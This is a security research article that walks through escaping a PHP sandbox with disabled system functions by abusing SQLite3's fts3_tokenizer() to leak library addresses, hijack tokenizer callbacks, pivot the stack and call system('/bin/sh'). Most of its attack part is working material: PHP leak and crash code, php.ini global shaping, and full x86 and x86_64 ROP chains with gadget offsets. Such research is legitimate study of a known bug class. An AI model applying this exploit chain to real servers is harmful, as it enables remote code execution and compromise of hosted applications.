articleDec 20, 2020
SQLite3 fts3_tokenizer() Remote Code Execution Research
How a PHP sandbox with disabled system functions can still fall to RCE via SQLite3 fts3_tokenizer: leak the module base, hijack tokenizer callbacks, pivot the stack, and call system on both x86 and x86_64.
Web application: PHP
- A shorter PHP RCE overview lives here:
PHP security 1
- This section is about one PHP hardening idea: the sandbox.
PHP sandbox
Disable Functions
- Blocks access to named PHP functions.
- If your attack path needs command execution (
system,proc_open,shell_exec), sockets, orcurl, listing those indisable_functionsmakes the path much harder.
## Disable Function Example
- exec
- passthru
- shell_exec
- system
- proc_open
- popen
- curl_exec
- curl_multi_exec
- parse_ini_file
- show_sourceSafe_Mode
- With a chroot-style web root such as
/var/www/html, shell binaries like/bin/lsand/bin/idbecome unreachable. - Different uid/gid blocks access.
- With certain
safe_modeoptions on, even/etc/passwdis off limits.
- With certain
- System commands under
safe_modetend to throw and fail closed.
cat /etc/php.ini | grep safe_mode- Toggle it in
/etc/php.ini.
Safe_Mode bypass
- A few practical angles:
- Hit functions that remain allowed under Safe_Mode (
curl, sockets, …)
- Hit functions that remain allowed under Safe_Mode (
- Or exploit a module PHP loads
- CGI mode, PHP-FPM
- PHP has a long CVE history
- Module bugs often do not require a specific PHP version
- Older module builds keep working across PHP releases that still load them

PHP RCE 1-day case
- Target: a PHP app where an attack vector exists, but the sandbox blocks the usual system APIs. Use the SQLite module to break out and land RCE.
PHP debugging
- Debug PHP + Apache dynamically while analyzing the vulnerable module.
Attach gdb to the process
- Print
getmypid(), sleep, then attach while the request is still live.
<?php
echo getmypid();
sleep(10);
?>- Hit the script and take the printed PID.
[root@localhost html]# curl http://localhost/dbg.php
1876- Attach with
-p:
gdb -p [pid]
- Map loaded libraries and compute offsets for ROP.

- That is enough gdb setup. Next: the vulnerable sqlite3 module and where code execution starts.
Safe Mode bypass
- Goal: module-level code execution that eventually calls
system, without relying on disabled PHP functions. - Plenty of CVEs in this space (UAF, buffer overflow, and so on), including CVE-2015-0273 and CVE-2015-6834.
- Module bugs let you exploit without pinning a single PHP version.
PHP SQLite module (PHP ≥ 5.3)


- The vulnerable SQLite3 build here is 3.6.20, available from PHP 5.3 onward.
SQLite3 fts3_tokenizer vulnerability
fts3_tokenizer overview
- SQLite lets you register a custom tokenizer for FTS3 search via
fts3_tokenizer. - With the FTS3/4 extension you create special FTS tables.
- Even with large documents, you can query rows that contain one or more tokens efficiently.
Searching with SQLite FTS3
- Create a virtual index table, add rows, build tokens.
- Search with
MATCH. - SQLite's default is the simple tokenizer.
User tokenizer callbacks
-
xCreate: initialization -
xDestroy: destruction -
xOpen: new tokenize cursor from user input -
xClose: close the cursor -
xNext: yield next word -
Function pointers live in
sqlite3_tokenizer_module:
struct sqlite3_tokenizer_module {
int iVersion;
int (*xCreate) (int argc, const char * const *argv, sqlite3_tokenizer **ppTokenizer);
int (*xDestroy) (sqlite3_tokenizer *pTokenizer);
int (*xOpen) (sqlite3_tokenizer *pTokenizer, const char *pInput, int nBytes, sqlite3_tokenizer_cursor **ppCursor);
int (*xClose) (sqlite3_tokenizer_cursor *pCursor);
int (*xNext) (sqlite3_tokenizer_cursor *pCursor, const char **ppToken, int *pnBytes, int *piStartOffset, int *piEndOffset, int *piPosition);
};SQLite FTS3 bug
Leaking the FTS3 module base
- Built-in tokenizers include
simple,porter,unicode64, and others.
select hex(fts3_tokenizer('simple'));
↑
returns a hex string (big-endian address)
fts3_tokenizerreturns a BLOB-encoded pointer to the registered tokenizer. Querying a built-in tokenizer leaks an address inside libsqlite3.- Flip it to little-endian for ASLR bypass math.
<?php
function flip($val) {
$len = strlen($val);
$result = '';
for ($i = $len; $i > 2; $i-=2) {
$result .= substr($val, $i - 2, 2);
}
$result .= substr($val, 0, $i);
$result .= str_repeat('0', 16 - $len);
return $result;
}
$db = new SQLite3(":memory:");
$row = $db->query("select hex(fts3_tokenizer('simple')) addr;")->fetchArray();
$leaked_addr = $row['addr'];
echo flip($leaked_addr);
$db->close();
?>
- Why does this leak?
/* Load the built-in tokenizers into the hash table */
if( rc==SQLITE_OK ){
if( sqlite3Fts3HashInsert(pHash, "simple", 7, (void *)pSimple)
|| sqlite3Fts3HashInsert(pHash, "porter", 7, (void *)pPorter)
|| (pIcu && sqlite3Fts3HashInsert(pHash, "icu", 4, (void *)pIcu))
){
rc = SQLITE_NOMEM;
}
}
static const sqlite3_tokenizer_module simpleTokenizerModule = {
0,
simpleCreate,
simpleDestroy,
simpleOpen,
simpleClose,
simpleNext,
};- Built-in tokenizers are loaded into a hash table whose addresses sit in libsqlite3's
.bss.
fts3_tokenizer() forms
SELECT fts3_tokenizer(<tokenizer-name>);
SELECT fts3_tokenizer(<tokenizer-name>, <sqlite3_tokenizer_module ptr>);- One-argument form returns a pointer to the currently registered implementation.
- Two-argument form registers a copy of the module pointed to by the second argument.
Arbitrary code execution via FTS3 callbacks
- Feeding a crafted second argument to
fts3_tokenizercrashes:
<?php
ob_start();
echo getmypid();
echo str_repeat(" ", 0x1212);
ob_end_flush();
flush();
sleep(10);
function flip($val) {
$len = strlen($val);
$result = '';
for ($i = $len; $i > 2; $i-=2) {
$result .= substr($val, $i - 2, 2);
}
$result .= substr($val, 0, $i);
$result .= str_repeat('0', 16 - $len);
return $result;
}
$db = new SQLite3(":memory:");
$row = $db->query("select hex(fts3_tokenizer('simple')) addr;")->fetchArray();
$leaked_addr = $row['addr'];
echo "\n";
echo flip($leaked_addr);
echo "\n";
$db->close();
sleep(10);
$db = new SQLite3(":memory:");
$db->exec("select fts3_tokenizer('simple', x'4141414141414141');
create virtual table a using fts3(tokenizer=simple);");
?>

- SQLite3 called the
xCreatecallback through that pointer with no usable validation of the value you registered.
// https://github.com/mackyle/sqlite/blob/0ab6f6f4c9142a55959ed2097734942c1781b538/ext/fts3/fts3_tokenizer.c
m = (sqlite3_tokenizer_module *)sqlite3Fts3HashFind(pHash,z,(int)strlen(z)+1);
if( !m ){
sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer: %s", z);
rc = SQLITE_ERROR;
}else{
.......
}
rc = m->xCreate(iArg, aArg, ppTok);
assert( rc!=SQLITE_OK || *ppTok );
if( rc!=SQLITE_OK ){
sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer");
}else{
(*ppTok)->pModule = m;
}
sqlite3_free((void *)aArg);
}xOpen angle
insert into exploit values(x"9090909090909090");- After the FTS table exists, an
INSERTdrivesxOpen. - Here
0x9090909090909090becomespInputand the callback fires.
// https://github.com/mackyle/sqlite/blob/0ab6f6f4c9142a55959ed2097734942c1781b538/ext/fts3/fts3_expr.c
sqlite3_tokenizer_module const *pModule = pTokenizer->pModule;
sqlite3_tokenizer_cursor *pCsr = 0;
int rc;
rc = pModule->xOpen(pTokenizer, z, n, &pCsr);- Plant a controllable structure at a predictable address, register it via
fts3_tokenizer, trigger the callback, and steer the program counter plus arguments from there.
FTS3 PHP RCE exploitation
Exploit flow
$sqlite3_lib_leaked_tokenizer = sqlQuery("select hex(fts3_tokenizer('simple')) addr")['addr'];
$libsqlite3_addr = flip($sqlite3_lib_leaked_tokenizer);
$libsqlite3_base = $libsqlite3_addr - $leaked_simple_tokenizer_offset;
$payload = 0x9090909090909090; // payload
sqlQuery("select fts3_tokenizer('simple', ?);", $payload);
sqlQuery("create table a using fts3"); // crash- That is the high-level sequence.
- On x86, relying on
xCreatealone felt brittle, so the chain leans onxOpenargument control.
x86 PHP + SQLite3 FTS3 tokenizer RCE
Info leak
- Flip the leaked simple-tokenizer address to little-endian on a 4-byte boundary:
function flip($val)
{
$len = strlen($val);
if (8 - $len) {
$val = str_repeat('0', 8 - $len).$val;
}
$result = '';
for ($i = 8; $i > 2; $i -= 2) {
$result.= substr($val, $i - 2, 2);
}
$result.= substr($val, 0, $i);
return $result;
}
$db = new SQLite3(":memory:");
$row = $db->query("select hex(fts3_tokenizer('simple')) addr;")->fetchArray();
$leaked_addr = $row['addr'];
$db->close();
$addr = hexdec(flip($leaked_addr));Tokenizer callback control
- The second argument overwrites the callback pointer.
- You can move
edi, but stack-pivoting from that alone is awkward, so drivexOpen'spInputinstead.

int (*xOpen) (sqlite3_tokenizer *pTokenizer,
const char *pInput,
int nBytes,
sqlite3_tokenizer_cursor **ppCursor
);- Fully controlling
xCreateso thatxOpenis also under control needs at least three contiguous controllable words. - Shape those with PHP.ini / session globals.
PHP.ini (_php_ps_globals)
- The session/ini globals live process-wide in
.bss, so their addresses are stable enough to aim at.
// https://www.php.net/manual/en/ini.list.php
typedef struct _php_ps_globals {
char *save_path;
char *session_name;
char *id;
char *extern_referer_chk;
char *entropy_file;
char *cache_limiter;
long entropy_length;
long cookie_lifetime;
char *cookie_path;
char *cookie_domain;
zend_bool cookie_secure;
zend_bool cookie_httponly;
ps_module *mod;
ps_module *default_mod;
void *mod_data;
php_session_status session_status;
long gc_probability;
long gc_divisor;
long gc_maxlifetime;
int module_number;
long cache_expire;- Fields marked for use are the pointer and integer slots that widen the gadget surface.
- Tweaking php.ini values lets you forge a fake FTS3 tokenizer module structure.
Steering ebp with the second argument
- Point the second argument (seen in ebp) at
ps_globals.gc_probability, adjusted by-0x4to match the caller's offset math.

gc_probability,gc_divisor, andgc_maxlifetimeare alllong.xOpenonly runs after a successfulxCreateand anINSERT. Retarget thesimplehash entry sosimpleCreatestill runs, then route intoxOpen.

- In this environment
0xe3bbc0issimpleCreate; the0x7fffffffvalues are fillers.

- Fill the globals with
ini_set. - Those three
ps_globalslongs are the contiguous slots needed forxOpen. - With test data you can see EIP land under your control.

- The call site looks like
call [edx+0xc];eaxholds the INSERT value that becomesxOpen's input.
Stack pivot onto the payload
- PC is controllable;
eaxreferences the memory you care about.

- Turn the
INSERTblob into a ROP stack with anXCHGgadget that swapsespandeax:
xchg esp, eax;
ret;
ROP to RCE
- With a chainable stack, write
/bin/sh(and a trailing NUL) into a writable region four bytes at a time, then callsystemwith that pointer.
## command move step (0~5 repeat)
pop eax ; ret --------> libsqlite3_gadget(0x00305337) -> offset(0x82337) -> server(0xe9c337)
;command(4) --------> CMD
pop edx ; ret --------> libsqlite3_gadget(0x00305e09) -> offset(0x82e09) -> server(0xe9ce09)
;writable memory --------> libsqlite3+(0x8eaa0-0x18) -> server(0xea8a88, 0xea8a8c, 0xea8a90, 0xea8a94, 0xea8a98,0xea8a9c, 0xea8aa0)
mov [edx+0x18], eax ; ret --------> libc-2_gadget(0x004e3642) -> offset(0x2a642) -> server(0xa0d642)
## call system
pop eax ; ret --------> libsqlite3_gadget(0x00305337) -> offset(0x82337) -> server(0xe9c337)
;lib_system --------> libc-2+0x3af60 -> server(0xa1df60)
pop esi ; ret --------> libphp5_gadget(0x000d5902) -> offset(0x000d5902) -> server(0xb71a8902)
;writable memory --------> libsqlite3+0x8eaa0 -> server(0xea8aa0)
push esi ; call eax; --------> libphp5_gadget(0x0029eb07) -> offset(0x0029eb07) -> server(0xb7371b07)- Gadgets come from leaked bases plus offsets; the writable scratch space is libsqlite3
.bss.

- Writes land at
sqlite3SavedPrng + 0x18viaedx.


- The chain ends in a
systemcall and code execution.
x86_64 PHP SQLite3 FTS3 tokenizer RCE
- Same bug class; new gadgets. On 64-bit, drive
xCreateand run the payload from there.
Calling system with ROP
- Arguments move through registers, so rebuild the chain.
- Prefer executable gadgets from
libphp5.so.
leave; --------> stack pivot
ret; --------> payload->esp
pop rax; --------> rax <- system_lib
pop rbx; --------> rbx <- wirtable memory(Cookie_path)
ret;
mov rdi, [rbx]; --------> rdi <- [rbx] address(writalbe memory)
call rax;
- Pivot so the stack overlays
ps_globalsand the fields become readable as stack slots.

- Load
systemintorax, then put thecookie_pathpointer intorbx.

cookie_pathalready points at the planted string, so dereference throughrbx.
0x7ff9d4cefbc0 <ps_globals+64>: => 0x00007ff9d8b15908
0x00007ff9d8b15908 => "/bin/sh"
- Move that into
rdiper the calling convention and execute.
References
us 19 Qian Exploring The New World Remote Exploitation Of SQLite And Curl wp
us 17 Feng Many Birds One Stone Exploiting A Single SQLite Vulnerability Across Multiple Software